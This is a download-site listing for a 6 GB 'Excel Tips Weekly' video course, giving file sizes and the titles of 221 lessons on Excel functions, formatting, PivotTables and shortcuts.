(2015-2021) Excel Tips Weekly (Updated 09.02.2021)

mp4   Hot：129   Size：6.03 GB   Created：2022-04-14 04:35:03   Update：2024-11-29 20:33:51  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 001 - Hide and unhide worksheets securely.mp4 17.01 MB
    001 - Hide and unhide worksheets securely.srt 12.48 KB
    002 - Resizing, moving, copying, and manipulating charts and other objects.mp4 27.85 MB
    002 - Resizing, moving, copying, and manipulating charts and other objects.srt 19.02 KB
    003 - Using list boxes and combo boxes to facilitate forms creation.mp4 21.48 MB
    003 - Using list boxes and combo boxes to facilitate forms creation.srt 14.51 KB
    004 - Using the FORMULATEXT and N functions for worksheet and formula documentation.mp4 16.4 MB
    004 - Using the FORMULATEXT and N functions for worksheet and formula documentation.srt 10.7 KB
    005 - Using the ISBLANK and COUNTBLANK functions to check for and tabulate blank cells.mp4 23.75 MB
    005 - Using the ISBLANK and COUNTBLANK functions to check for and tabulate blank cells.srt 14.7 KB
    006 - Summarizing data from diverse ranges with Data - Consolidate.mp4 29.4 MB
    006 - Summarizing data from diverse ranges with Data - Consolidate.srt 17.99 KB
    007 - Using check boxes and conditional formatting together for dynamic displays.mp4 40.45 MB
    007 - Using check boxes and conditional formatting together for dynamic displays.srt 22.81 KB
    008 - Becoming more productive with these 10 tiny tips you'll use often.mp4 24.1 MB
    008 - Becoming more productive with these 10 tiny tips you'll use often.srt 16.33 KB
    009 - Transposing data and charts for a different perspective on your data.mp4 30.3 MB
    009 - Transposing data and charts for a different perspective on your data.srt 16.85 KB
    010 - Applying conditional formatting across rows of data.mp4 20.45 MB
    010 - Applying conditional formatting across rows of data.srt 12.2 KB
    011 - Exploring various layouts for your PivotTable.mp4 13.86 MB
    011 - Exploring various layouts for your PivotTable.srt 8.42 KB
    012 - Splitting and consolidating workbooks.mp4 20.53 MB
    012 - Splitting and consolidating workbooks.srt 12.99 KB
    013 - Using date and time as metrics in a PivotTable.mp4 23.2 MB
    013 - Using date and time as metrics in a PivotTable.srt 13.42 KB
    014 - Adding illustrations to your workbook.mp4 33.62 MB
    014 - Adding illustrations to your workbook.srt 22.95 KB
    015 - Using a pick list, VLOOKUP, table, and chart together.mp4 22.57 MB
    015 - Using a pick list, VLOOKUP, table, and chart together.srt 16.1 KB
    016 - Using formulas to calculate values across worksheets and workbooks.mp4 29.52 MB
    016 - Using formulas to calculate values across worksheets and workbooks.srt 22.49 KB
    017 - Dynamically presenting data via chart slicers.mp4 20.42 MB
    017 - Dynamically presenting data via chart slicers.srt 14.46 KB
    018 - Parsing your data to create unique lists.mp4 14.51 MB
    018 - Parsing your data to create unique lists.srt 6.56 KB
    019 - Using the REPT function to represent data visually.mp4 8.82 MB
    019 - Using the REPT function to represent data visually.srt 5.91 KB
    020 - Using source data from a table to make your PivotTable more dynamic.mp4 24.96 MB
    020 - Using source data from a table to make your PivotTable more dynamic.srt 14.59 KB
    021 - Accelerating Cut, Copy, Paste, and Insert tasks.mp4 23.25 MB
    021 - Accelerating Cut, Copy, Paste, and Insert tasks.srt 15.14 KB
    022 - Increasing your productivity with custom lists.mp4 20.89 MB
    022 - Increasing your productivity with custom lists.srt 9.44 KB
    023 - Highlighting PivotTable results with conditional formatting.mp4 19.23 MB
    023 - Highlighting PivotTable results with conditional formatting.srt 11.73 KB
    024 - Customizing templates to fit your unique needs.mp4 20.37 MB
    024 - Customizing templates to fit your unique needs.srt 12.29 KB
    025 - Creating dynamic charts with in-cell conditional formatting.mp4 11.49 MB
    025 - Creating dynamic charts with in-cell conditional formatting.srt 6.44 KB
    026 - Enhancing table filtering with slicers.mp4 20.19 MB
    026 - Enhancing table filtering with slicers.srt 10.24 KB
    027 - Converting charts into pictures.mp4 15.93 MB
    027 - Converting charts into pictures.srt 8.97 KB
    028 - Custom grouping in PivotTables.mp4 12.99 MB
    028 - Custom grouping in PivotTables.srt 8.71 KB
    029 - Quick formatting tips.mp4 23.4 MB
    029 - Quick formatting tips.srt 14.94 KB
    030 - The top five unknown but useful keyboard shortcuts.mp4 25.61 MB
    030 - The top five unknown but useful keyboard shortcuts.srt 11.77 KB
    031 - Using the TREND and GROWTH functions for projecting future results.mp4 21.61 MB
    031 - Using the TREND and GROWTH functions for projecting future results.srt 10.09 KB
    032 - Using scroll bars and spin buttons to facilitate forms creation.mp4 23.56 MB
    032 - Using scroll bars and spin buttons to facilitate forms creation.srt 18.7 KB
    033 - Creating colorful 3D buttons for worksheet annotation and macro buttons.mp4 21.88 MB
    033 - Creating colorful 3D buttons for worksheet annotation and macro buttons.srt 12.1 KB
    034 - Calculating with hours, minutes, and times of day.mp4 29.66 MB
    034 - Calculating with hours, minutes, and times of day.srt 18.48 KB
    035 - Tracking down cell dependencies across multiple worksheets and workbooks.mp4 21.74 MB
    035 - Tracking down cell dependencies across multiple worksheets and workbooks.srt 11.21 KB
    036 - Discovering time-saving tools in the Go To Special feature.mp4 40.04 MB
    036 - Discovering time-saving tools in the Go To Special feature.srt 20.64 KB
    037 - Adding, managing, and printing comments for worksheet documentation.mp4 19.26 MB
    037 - Adding, managing, and printing comments for worksheet documentation.srt 13.86 KB
    038 - Reducing data entry time by expanding AutoCorrect options.mp4 18.99 MB
    038 - Reducing data entry time by expanding AutoCorrect options.srt 11.21 KB
    039 - Setting up custom views for quick access to different worksheet displays.mp4 25.08 MB
    039 - Setting up custom views for quick access to different worksheet displays.srt 11.34 KB
    040 - Using hyperlinks for rapidly switching worksheet locations and jumping to websites.mp4 21.15 MB
    040 - Using hyperlinks for rapidly switching worksheet locations and jumping to websites.srt 13.71 KB
    041 - Controlling worksheet security by allowing selected users to edit specific cell ranges.mp4 24.18 MB
    041 - Controlling worksheet security by allowing selected users to edit specific cell ranges.srt 12.97 KB
    042 - Using option buttons, group boxes, and checkboxes to facilitate forms creation.mp4 19.93 MB
    042 - Using option buttons, group boxes, and checkboxes to facilitate forms creation.srt 14.49 KB
    043 - Exploring what-if scenarios using Goal Seek.mp4 28.04 MB
    043 - Exploring what-if scenarios using Goal Seek.srt 16.22 KB
    044 - Creating text, numerical, date, and time lists in a flash.mp4 17.89 MB
    044 - Creating text, numerical, date, and time lists in a flash.srt 12.4 KB
    045 - Creating variable conditional formatting rules.mp4 30.8 MB
    045 - Creating variable conditional formatting rules.srt 14.47 KB
    046 - Handling dates with unusual formats.mp4 20.25 MB
    046 - Handling dates with unusual formats.srt 10.98 KB
    047 - Using wildcards (asterisk, tilde, and question mark).mp4 38.13 MB
    047 - Using wildcards (asterisk, tilde, and question mark).srt 17.52 KB
    048 - Custom formats using asterisk, semicolon, and brackets.mp4 39.18 MB
    048 - Custom formats using asterisk, semicolon, and brackets.srt 22.45 KB
    049 - Meeting unusual filtering needs via Advanced Filter.mp4 47.68 MB
    049 - Meeting unusual filtering needs via Advanced Filter.srt 22.23 KB
    050 - Create an organization chart.mp4 23.64 MB
    050 - Create an organization chart.srt 17.23 KB
    051 - Two-way lookup using the MATCH and INDEX functions.mp4 50.68 MB
    051 - Two-way lookup using the MATCH and INDEX functions.srt 21.89 KB
    052 - Using Excel error-checking functions.mp4 33.63 MB
    052 - Using Excel error-checking functions.srt 20.44 KB
    053 - Custom formats, relative addressing, and conditional formatting.mp4 23.95 MB
    053 - Custom formats, relative addressing, and conditional formatting.srt 15.63 KB
    054 - Auditing.mp4 30.66 MB
    054 - Auditing.srt 18.06 KB
    055 - Adding comments and shapes.mp4 25.43 MB
    055 - Adding comments and shapes.srt 15.77 KB
    056 - Drawing borders and border grids.mp4 21.36 MB
    056 - Drawing borders and border grids.srt 12.55 KB
    057 - Building a flexible monthly table using functions.mp4 32.81 MB
    057 - Building a flexible monthly table using functions.srt 23.64 KB
    058 - Adding pictures as worksheet backgrounds.mp4 20.05 MB
    058 - Adding pictures as worksheet backgrounds.srt 10.33 KB
    059 - ADDRESS, ROW, and COLUMN functions.mp4 27.67 MB
    059 - ADDRESS, ROW, and COLUMN functions.srt 15.98 KB
    060 - Join data with new CONCAT and TEXTJOIN functions.mp4 17.57 MB
    060 - Join data with new CONCAT and TEXTJOIN functions.srt 11.48 KB
    061 - Working with formulas in tables.mp4 48.15 MB
    061 - Working with formulas in tables.srt 27.97 KB
    062 - Locating data validation rules and violations.mp4 28.54 MB
    062 - Locating data validation rules and violations.srt 14.8 KB
    063 - Creating an Excel template.mp4 23.18 MB
    063 - Creating an Excel template.srt 16.2 KB
    064 - Restoring missing column titles.mp4 26.37 MB
    064 - Restoring missing column titles.srt 13.57 KB
    065 - Creating a pick list dependent on another pick list.mp4 18.84 MB
    065 - Creating a pick list dependent on another pick list.srt 13.61 KB
    066 - Using command shortcuts with the Alt key.mp4 20.2 MB
    066 - Using command shortcuts with the Alt key.srt 10.95 KB
    067 - Set up a macro for sorting dynamic data.mp4 28.18 MB
    067 - Set up a macro for sorting dynamic data.srt 18.61 KB
    068 - Use random number functions for sorting and creating sample data.mp4 28.83 MB
    068 - Use random number functions for sorting and creating sample data.srt 19.95 KB
    069 - Use calcuated fields and calculated items in a PivotTable.mp4 26.32 MB
    069 - Use calcuated fields and calculated items in a PivotTable.srt 17.06 KB
    070 - Replace characters by position with the REPLACE function.mp4 15.57 MB
    070 - Replace characters by position with the REPLACE function.srt 10.11 KB
    071 - Work with formulas in tables.mp4 30.04 MB
    071 - Work with formulas in tables.srt 17.81 KB
    072 - Keystroke shortcuts from A to Z Using the Ctrl key.mp4 55.03 MB
    072 - Keystroke shortcuts from A to Z Using the Ctrl key.srt 31.23 KB
    073 - Use special tricks for working with dates in charts.mp4 33.2 MB
    073 - Use special tricks for working with dates in charts.srt 21.02 KB
    074 - Use a data form for data entry and exploring data.mp4 24.91 MB
    074 - Use a data form for data entry and exploring data.srt 12.95 KB
    075 - Creating an Excel template to simplify updating a monthly file.mp4 19.66 MB
    075 - Creating an Excel template to simplify updating a monthly file.srt 13.61 KB
    076 - Calculate dates efficiently using Excel's hidden function - DATEDIF.mp4 22.16 MB
    076 - Calculate dates efficiently using Excel's hidden function - DATEDIF.srt 14.37 KB
    077 - Create dynamic sheet name references with the INDIRECT function.mp4 19.17 MB
    077 - Create dynamic sheet name references with the INDIRECT function.srt 12.36 KB
    078 - Avoid errors and hidden data with the powerful AGGREGATE function.mp4 20.84 MB
    078 - Avoid errors and hidden data with the powerful AGGREGATE function.srt 13.31 KB
    079 - Hide worksheets, row, columns, cells and other Excel elements.mp4 27.8 MB
    079 - Hide worksheets, row, columns, cells and other Excel elements.srt 14.85 KB
    080 - Use slicers and charts together for dynamic presentations.mp4 29.07 MB
    080 - Use slicers and charts together for dynamic presentations.srt 17.61 KB
    081 - Save a chart as a template Use the template for current or new charts.mp4 18.4 MB
    081 - Save a chart as a template Use the template for current or new charts.srt 12.29 KB
    082 - MAXIFS and MINIFS added to the COUNTIF-SUMIF family of functions.mp4 22.7 MB
    082 - MAXIFS and MINIFS added to the COUNTIF-SUMIF family of functions.srt 14.94 KB
    083 - Adjust a chart's source data and adjust its series order.mp4 25.94 MB
    083 - Adjust a chart's source data and adjust its series order.srt 17.46 KB
    084 - Use the OFFSET function for tabulating moving data.mp4 30.82 MB
    084 - Use the OFFSET function for tabulating moving data.srt 19.72 KB
    085 - Alter numeric data without formulas.mp4 37.41 MB
    085 - Alter numeric data without formulas.srt 19.19 KB
    086 - Use Flash Fill to rapidly combine or separate columnar data.mp4 34.31 MB
    086 - Use Flash Fill to rapidly combine or separate columnar data.srt 19.02 KB
    087 - Adjust banded-row formatting.mp4 57.78 MB
    087 - Adjust banded-row formatting.srt 28.13 KB
    088 - Change the shape of comment boxes and other objects.mp4 19.25 MB
    088 - Change the shape of comment boxes and other objects.srt 12.53 KB
    089 - How and when to use the 10 rounding functions in Excel.mp4 35.35 MB
    089 - How and when to use the 10 rounding functions in Excel.srt 24.22 KB
    090 - Calculate faster with the AutoSum button and AutoSum keystroke shortcut.mp4 18.91 MB
    090 - Calculate faster with the AutoSum button and AutoSum keystroke shortcut.srt 13.33 KB
    091 - How to use mixed cell references.mp4 23.41 MB
    091 - How to use mixed cell references.srt 15.79 KB
    092 - Activate the Speak On Enter and Speak Cells features.mp4 14.71 MB
    092 - Activate the Speak On Enter and Speak Cells features.srt 9.55 KB
    093 - Accelerate data entry with five special techniques.mp4 31.52 MB
    093 - Accelerate data entry with five special techniques.srt 23.29 KB
    094 - Insert a text box or shape and link a cell's content to it.mp4 16.99 MB
    094 - Insert a text box or shape and link a cell's content to it.srt 12.22 KB
    095 - Use Watch Window and other techniques to track changing cells.mp4 29.69 MB
    095 - Use Watch Window and other techniques to track changing cells.srt 15.54 KB
    096 - How to create time interval entrie.mp4 32.38 MB
    096 - How to create time interval entrie.srt 21.29 KB
    097 - How to create frequency tabulations and distributions.mp4 24.93 MB
    097 - How to create frequency tabulations and distributions.srt 13.99 KB
    098 - Create an expanded list from a summary using PivotTable techniques.mp4 36.74 MB
    098 - Create an expanded list from a summary using PivotTable techniques.srt 13.27 KB
    099 - Solve matching issues with matching phone numbers and SS numbers.mp4 35.66 MB
    099 - Solve matching issues with matching phone numbers and SS numbers.srt 18.36 KB
    100 - Use CHOOSE to calculate fiscal quarters and as a VLOOKUP alternative.mp4 16.52 MB
    100 - Use CHOOSE to calculate fiscal quarters and as a VLOOKUP alternative.srt 13.89 KB
    101 - Use outlining tools to quickly expand and collapse data for dynamic presentations.mp4 35.93 MB
    101 - Use outlining tools to quickly expand and collapse data for dynamic presentations.srt 17.65 KB
    102 - Use the SUBTOTAL (and AGGREGATE) functions to avoid double counting.mp4 30.07 MB
    102 - Use the SUBTOTAL (and AGGREGATE) functions to avoid double counting.srt 18.38 KB
    103 - Create lists of all 2nd Tuesdays, last Tuesdays. and other date series.mp4 29.79 MB
    103 - Create lists of all 2nd Tuesdays, last Tuesdays. and other date series.srt 19.24 KB
    104 - Create linkage formulas that refer to other worksheets and workbooks.mp4 29.86 MB
    104 - Create linkage formulas that refer to other worksheets and workbooks.srt 21.38 KB
    105 - Formula nesting - Using multiple functions in the same formula.mp4 38.99 MB
    105 - Formula nesting - Using multiple functions in the same formula.srt 25.09 KB
    106 - Keyboard shortcuts for numeric formats.mp4 25.85 MB
    106 - Keyboard shortcuts for numeric formats.srt 15.06 KB
    107 - Use the Subtotal command to analyze data with single- or multiple-level subtotals.mp4 41.35 MB
    107 - Use the Subtotal command to analyze data with single- or multiple-level subtotals.srt 16.77 KB
    108 - Work with MAX, MAXIFS, LARGE, and related functions.mp4 24.59 MB
    108 - Work with MAX, MAXIFS, LARGE, and related functions.srt 16.08 KB
    109 - Use the dynamic TODAY and NOW functions for real-time up-to-date calculations.mp4 24.29 MB
    109 - Use the dynamic TODAY and NOW functions for real-time up-to-date calculations.srt 16.76 KB
    110 - Use the FIND, MID, LEFT, and RIGHT functions.mp4 29.82 MB
    110 - Use the FIND, MID, LEFT, and RIGHT functions.srt 19.06 KB
    111 - Flip the left-to-right order of columns with the INDEX function or sort by columns.mp4 29.38 MB
    111 - Flip the left-to-right order of columns with the INDEX function or sort by columns.srt 14.74 KB
    112 - Working with hidden data when copying cells and creating charts.mp4 40.93 MB
    112 - Working with hidden data when copying cells and creating charts.srt 22.07 KB
    113 - Use conditional formatting data bars to accentuate negative data.mp4 11.45 MB
    113 - Use conditional formatting data bars to accentuate negative data.srt 8.74 KB
    114 - Creative use of sparklines in merged cells with axes.mp4 19.03 MB
    114 - Creative use of sparklines in merged cells with axes.srt 13.03 KB
    115 - Copy formats quickly using dragging techniques and the Format Painter.mp4 17.39 MB
    115 - Copy formats quickly using dragging techniques and the Format Painter.srt 10.36 KB
    116 - Displaying multiple worksheets and workbooks together.mp4 32.4 MB
    116 - Displaying multiple worksheets and workbooks together.srt 20.07 KB
    117 - Tips for creating and updating sample data.mp4 31.62 MB
    117 - Tips for creating and updating sample data.srt 20.85 KB
    118 - Use conditional formatting to overcome formatting limitations of the IF function.mp4 24.14 MB
    118 - Use conditional formatting to overcome formatting limitations of the IF function.srt 15.88 KB
    119 - Use VLOOKUP, MATCH, and INDEX functions with array formulas.mp4 29.89 MB
    119 - Use VLOOKUP, MATCH, and INDEX functions with array formulas.srt 18.79 KB
    120 - Summarize data from different worksheets with a PivotTable.mp4 23.43 MB
    120 - Summarize data from different worksheets with a PivotTable.srt 13.35 KB
    121 - AutoFill shortcuts for date series, one-two week intervals, EOM, and formulas.mp4 20.22 MB
    121 - AutoFill shortcuts for date series, one-two week intervals, EOM, and formulas.srt 12.88 KB
    122 - Create summary statistics using COUNTIFS, SUMIFS, and AVERAGEIFS functions.mp4 24.27 MB
    122 - Create summary statistics using COUNTIFS, SUMIFS, and AVERAGEIFS functions.srt 15.4 KB
    123 - Use custom formulas in data validation to keep out bad data.mp4 35.01 MB
    123 - Use custom formulas in data validation to keep out bad data.srt 22.53 KB
    124 - Dealing with circular errors.mp4 22.37 MB
    124 - Dealing with circular errors.srt 14.57 KB
    125 - Tips for creating charts quickly.mp4 19.24 MB
    125 - Tips for creating charts quickly.srt 12.95 KB
    126 - Creating heat maps using conditional formatting.mp4 34.91 MB
    126 - Creating heat maps using conditional formatting.srt 15.55 KB
    127 - Using the INDEX function to extract data by row and column.mp4 28.38 MB
    127 - Using the INDEX function to extract data by row and column.srt 20.02 KB
    128 - Displaying tips when using Excel in presentations.mp4 29.65 MB
    128 - Displaying tips when using Excel in presentations.srt 11.59 KB
    129 - The Wrap Text, Merge and Center, and Indent options.mp4 30.35 MB
    129 - The Wrap Text, Merge and Center, and Indent options.srt 17.32 KB
    130 - Using fill effects (gradients, patterns, styles) for colorful cell background variations.mp4 17.05 MB
    130 - Using fill effects (gradients, patterns, styles) for colorful cell background variations.srt 10.29 KB
    131 - Working with multiple worksheets simultaneously.mp4 25.99 MB
    131 - Working with multiple worksheets simultaneously.srt 17.96 KB
    132 - Exploring font choices not found on the Home tab.mp4 11.68 MB
    132 - Exploring font choices not found on the Home tab.srt 7.38 KB
    133 - Using WordArt for special titles and headings.mp4 14.54 MB
    133 - Using WordArt for special titles and headings.srt 8.78 KB
    134 - Creating a two-way lookup with VLOOKUP, HLOOKUP, INDEX, and MATCH functions.mp4 22.8 MB
    134 - Creating a two-way lookup with VLOOKUP, HLOOKUP, INDEX, and MATCH functions.srt 12.9 KB
    135 - Borders and gridlines - Exploring variations, options, and differences.mp4 25.12 MB
    135 - Borders and gridlines - Exploring variations, options, and differences.srt 16.42 KB
    136 - New Excel 2016 chart types Tree map and sunburst.mp4 30.13 MB
    136 - New Excel 2016 chart types Tree map and sunburst.srt 15.37 KB
    137 - Freezing column and row titles.mp4 41.85 MB
    137 - Freezing column and row titles.srt 14.54 KB
    138 - Use data validation to force entries to be uppercase or lowercase.mp4 25.51 MB
    138 - Use data validation to force entries to be uppercase or lowercase.srt 20.02 KB
    139 - Avoiding common chart distortions.mp4 32.73 MB
    139 - Avoiding common chart distortions.srt 21.49 KB
    140 - Use the new funnel chart available in Excel 365.mp4 10.63 MB
    140 - Use the new funnel chart available in Excel 365.srt 8.49 KB
    141 - Combine data using CONCATENATE, CONCAT, and TEXTJOIN functions and the ampersand (&) character.mp4 15.23 MB
    141 - Combine data using CONCATENATE, CONCAT, and TEXTJOIN functions and the ampersand (&) character.srt 11.54 KB
    142 - Recognizing Excel Formula errors #NA, #VALUE!, #REF!, #DIV0!, #NUM, and #NAME!.mp4 28.07 MB
    142 - Recognizing Excel Formula errors #NA, #VALUE!, #REF!, #DIV0!, #NUM, and #NAME!.srt 18.09 KB
    143 - Creating cross-totals with the SUMIFS function and mixed references.mp4 17.62 MB
    143 - Creating cross-totals with the SUMIFS function and mixed references.srt 10.33 KB
    144 - New Excel 2016 chart types Histogram, Pareto, and box, and whisker.mp4 28.03 MB
    144 - New Excel 2016 chart types Histogram, Pareto, and box, and whisker.srt 18.34 KB
    145 - Using the AND and OR functions independently or within IF functions.mp4 27.92 MB
    145 - Using the AND and OR functions independently or within IF functions.srt 17.69 KB
    146 - Vertical and horizontal alignment settings and orientation options.mp4 18.54 MB
    146 - Vertical and horizontal alignment settings and orientation options.srt 12.98 KB
    147 - Sorting tips and shortcuts.mp4 32.43 MB
    147 - Sorting tips and shortcuts.srt 16.44 KB
    148 - A look at new chart types in Excel 2016 - Waterfall.mp4 17.99 MB
    148 - A look at new chart types in Excel 2016 - Waterfall.srt 13.12 KB
    149 - Work with formulas and formats Decimals and fractions.mp4 13.53 MB
    149 - Work with formulas and formats Decimals and fractions.srt 10.65 KB
    150 - Creating mixed reference formulas; converting to a table; applying conditional formatting.mp4 27.89 MB
    150 - Creating mixed reference formulas; converting to a table; applying conditional formatting.srt 13.92 KB
    151 - Control gridlines in charts and on worksheets.mp4 21.68 MB
    151 - Control gridlines in charts and on worksheets.srt 14.64 KB
    152 - Use the INDIRECT function with intersection formulas and range names to extract data.mp4 20.16 MB
    152 - Use the INDIRECT function with intersection formulas and range names to extract data.srt 11.9 KB
    153 - Using Expand-Collapse on PivotTables and PivotCharts for rapid display changes.mp4 21.95 MB
    153 - Using Expand-Collapse on PivotTables and PivotCharts for rapid display changes.srt 13.75 KB
    154 - Control phone number and postal code formats using built-in options or customized formats.mp4 18.7 MB
    154 - Control phone number and postal code formats using built-in options or customized formats.srt 13.36 KB
    155 - Change the default Excel chart type; create and use chart templates.mp4 19.14 MB
    155 - Change the default Excel chart type; create and use chart templates.srt 11.66 KB
    156 - Create your own customized date and time formats.mp4 22.5 MB
    156 - Create your own customized date and time formats.srt 14.66 KB
    157 - Create on-screen warnings and reminders with comments or data validation messages.mp4 18.79 MB
    157 - Create on-screen warnings and reminders with comments or data validation messages.srt 11.61 KB
    158 - Use REPLACE for formats only, for data only, or for both.mp4 22.46 MB
    158 - Use REPLACE for formats only, for data only, or for both.srt 10.96 KB
    159 - Create numeric formats - Display in thousands or millions.mp4 35.8 MB
    159 - Create numeric formats - Display in thousands or millions.srt 21.69 KB
    160 - Converting dates like 20102006 into usable date entries.mp4 11.98 MB
    160 - Converting dates like 20102006 into usable date entries.srt 7.99 KB
    161 - Create custom lists for letter series like A to Z.mp4 28.74 MB
    161 - Create custom lists for letter series like A to Z.srt 12.31 KB
    162 - Freeze Panes and Split.mp4 30.26 MB
    162 - Freeze Panes and Split.srt 11.51 KB
    163 - NETWORKDAYS.INTL and WORKDAY.INTL.mp4 14.74 MB
    163 - NETWORKDAYS.INTL and WORKDAY.INTL.srt 10.52 KB
    164 - Calculate % of change.mp4 14 MB
    164 - Calculate % of change.srt 10.08 KB
    165 - Fill in all blank cells within a range with either formatting or data.mp4 16.56 MB
    165 - Fill in all blank cells within a range with either formatting or data.srt 8.41 KB
    166 - Use the COUNT and COUNTA functions.mp4 13.93 MB
    166 - Use the COUNT and COUNTA functions.srt 7.83 KB
    167 - Use workbook protection to prevent use of sheet commands.mp4 18 MB
    167 - Use workbook protection to prevent use of sheet commands.srt 11.15 KB
    168 - Rank data with the RANK and RANK.AVG functions.mp4 16.11 MB
    168 - Rank data with the RANK and RANK.AVG functions.srt 10.98 KB
    169 - Use nonstandard fiscal years and quarters in PivotTables.mp4 18.83 MB
    169 - Use nonstandard fiscal years and quarters in PivotTables.srt 10.41 KB
    170 - Identify or extract unique entries in a list.mp4 22.68 MB
    170 - Identify or extract unique entries in a list.srt 10.54 KB
    171 - Keyboard, mouse, and command techniques for viewing worksheets.mp4 27.06 MB
    171 - Keyboard, mouse, and command techniques for viewing worksheets.srt 10.78 KB
    172 - Create artistic charts with random numbers.mp4 22.72 MB
    172 - Create artistic charts with random numbers.srt 14.57 KB
    173 - Extract day, month, and year from date fields.mp4 13.15 MB
    173 - Extract day, month, and year from date fields.srt 9.75 KB
    174 - Compare data with EXACT, FIND, and SEARCH functions.mp4 13.17 MB
    174 - Compare data with EXACT, FIND, and SEARCH functions.srt 9.54 KB
    175 - How to covert ROMAN numberals.mp4 13.25 MB
    175 - How to covert ROMAN numberals.srt 7.88 KB
    176 - Use range names for more readable formulas.mp4 15.5 MB
    176 - Use range names for more readable formulas.srt 9.93 KB
    177 - Customize your Quick Access Toolbar.mp4 20.33 MB
    177 - Customize your Quick Access Toolbar.srt 11.12 KB
    178 - Conditional formatting based on date proximity.mp4 13.75 MB
    178 - Conditional formatting based on date proximity.srt 9.21 KB
    179 - How to adjust names.mp4 16.21 MB
    179 - How to adjust names.srt 9.82 KB
    180 - Differences and limitations of converting data to a table.mp4 18.78 MB
    180 - Differences and limitations of converting data to a table.srt 9.97 KB
    181 - Avoid the #DIV0 error message.mp4 13.76 MB
    181 - Avoid the #DIV0 error message.srt 9.47 KB
    182 - Explore formatting options not available on the Home tab.mp4 15.55 MB
    182 - Explore formatting options not available on the Home tab.srt 8 KB
    183 - Control table formatting with custom formats.mp4 12.2 MB
    183 - Control table formatting with custom formats.srt 6.23 KB
    184 - Use date functions for age and tenure calculations.mp4 16.43 MB
    184 - Use date functions for age and tenure calculations.srt 10.57 KB
    185 - Avoid unintentional entries when typing code numbers.mp4 9.52 MB
    185 - Avoid unintentional entries when typing code numbers.srt 8.01 KB
    186 - Sorting by moving columns.mp4 15.31 MB
    186 - Sorting by moving columns.srt 7.83 KB
    187 - Calculating cumulative totals.mp4 11.22 MB
    187 - Calculating cumulative totals.srt 7.63 KB
    188 - Using the CONVERT function for different numbering systems.mp4 12.85 MB
    188 - Using the CONVERT function for different numbering systems.srt 8.24 KB
    189 - Creating an automatically expanding chart by basing it on a table.mp4 11.3 MB
    189 - Creating an automatically expanding chart by basing it on a table.srt 7.97 KB
    190 - Keystroke shortcuts using the Alt key.mp4 14.71 MB
    190 - Keystroke shortcuts using the Alt key.srt 10.9 KB
    191 - Using the Solver Add-in.mp4 11.75 MB
    191 - Using the Solver Add-in.srt 7.73 KB
    192 - Column widths, row heights, merging cells, and related formatting issues.mp4 10.97 MB
    192 - Column widths, row heights, merging cells, and related formatting issues.srt 9.98 KB
    193 - Adjusting default layouts and date grouping in PivotTables.mp4 11.42 MB
    193 - Adjusting default layouts and date grouping in PivotTables.srt 7.82 KB
    194 - Auditing cell content with Watch Window and dependent cell formulas.mp4 9.94 MB
    194 - Auditing cell content with Watch Window and dependent cell formulas.srt 7.92 KB
    195 - Use the LEN and REPT functions for specialized cell testing and display options.mp4 10.58 MB
    195 - Use the LEN and REPT functions for specialized cell testing and display options.srt 10.3 KB
    196 - Use the TRIM and CLEAN functions to remove excess spaces and non-printing characters.mp4 11.98 MB
    196 - Use the TRIM and CLEAN functions to remove excess spaces and non-printing characters.srt 10.23 KB
    197 - Create double-spaced and triple-spaced printouts while repeating column headings.mp4 12.71 MB
    197 - Create double-spaced and triple-spaced printouts while repeating column headings.srt 9.79 KB
    198 - Helpful keystroke shortcuts.mp4 21.27 MB
    198 - Helpful keystroke shortcuts.srt 9.6 KB
    199 - Identify weekdays and weekend days in data.mp4 11.98 MB
    199 - Identify weekdays and weekend days in data.srt 6.92 KB
    200 - Use chart and filter for presentations.mp4 9.52 MB
    200 - Use chart and filter for presentations.srt 9.19 KB
    201 - Create picture links.mp4 19.23 MB
    201 - Create picture links.srt 8.41 KB
    202 - How to use the error-checking rules in Excel.mp4 13.63 MB
    202 - How to use the error-checking rules in Excel.srt 10.03 KB
    203 - Protect worksheets and lock cells.mp4 17.24 MB
    203 - Protect worksheets and lock cells.srt 7.77 KB
    204 - Use mixed addresses in Excel formulas.mp4 12.68 MB
    204 - Use mixed addresses in Excel formulas.srt 9.53 KB
    205 - Rapid filtering with Filter by Selection.mp4 12.68 MB
    205 - Rapid filtering with Filter by Selection.srt 9.87 KB
    206 - Display large values.mp4 17.27 MB
    206 - Display large values.srt 6.64 KB
    207 - Tracking down conditional formatting and data validation rules.mp4 18.94 MB
    207 - Tracking down conditional formatting and data validation rules.srt 10.22 KB
    208 - Transposing data and using the TRANSPOSE function.mp4 13.41 MB
    208 - Transposing data and using the TRANSPOSE function.srt 10.18 KB
    209 - Displaying gridlines, borders, and column_row headings when printing.mp4 13.46 MB
    209 - Displaying gridlines, borders, and column_row headings when printing.srt 9.01 KB
    210 - Exploring some of the 200-plus SmartArt graphic options.mp4 9.03 MB
    210 - Exploring some of the 200-plus SmartArt graphic options.srt 7.11 KB
    211 - Using the CEILING and FLOOR functions for specialized rounding needs.mp4 11.87 MB
    211 - Using the CEILING and FLOOR functions for specialized rounding needs.srt 9.37 KB
    212 - Inserting, reshaping, and formatting shapes - Rectangles, arrows, stars, and banners.mp4 12.95 MB
    212 - Inserting, reshaping, and formatting shapes - Rectangles, arrows, stars, and banners.srt 11.09 KB
    213 - Tabulating totals with the VLOOKUP function and array constants.mp4 13.51 MB
    213 - Tabulating totals with the VLOOKUP function and array constants.srt 10.04 KB
    214 - Working with array formulas more easily.mp4 11.05 MB
    214 - Working with array formulas more easily.srt 7.88 KB
    215 - Using the new UNIQUE function to count and copy unique list entries.mp4 10.23 MB
    215 - Using the new UNIQUE function to count and copy unique list entries.srt 6.2 KB
    216 - Creating and updating sample data.mp4 15.74 MB
    216 - Creating and updating sample data.srt 9.83 KB
    217 - Format macros to make you a more efficient Excel user.mp4 14.5 MB
    217 - Format macros to make you a more efficient Excel user.srt 9.18 KB
    218 - Use the new SORT and SORTBY functions to extract sorted lists.mp4 17.7 MB
    218 - Use the new SORT and SORTBY functions to extract sorted lists.srt 9.59 KB
    219 - Use themes to adjust worksheet colors, fonts, and effects.mp4 11.3 MB
    219 - Use themes to adjust worksheet colors, fonts, and effects.srt 7.31 KB
    220 - Calculate loan payments and investments with PMT and FV functions.mp4 12.35 MB
    220 - Calculate loan payments and investments with PMT and FV functions.srt 11.25 KB
    221 - Use the XLOOKUP function to replace VLOOKUP.mp4 14.96 MB
    221 - Use the XLOOKUP function to replace VLOOKUP.srt 10.41 KB
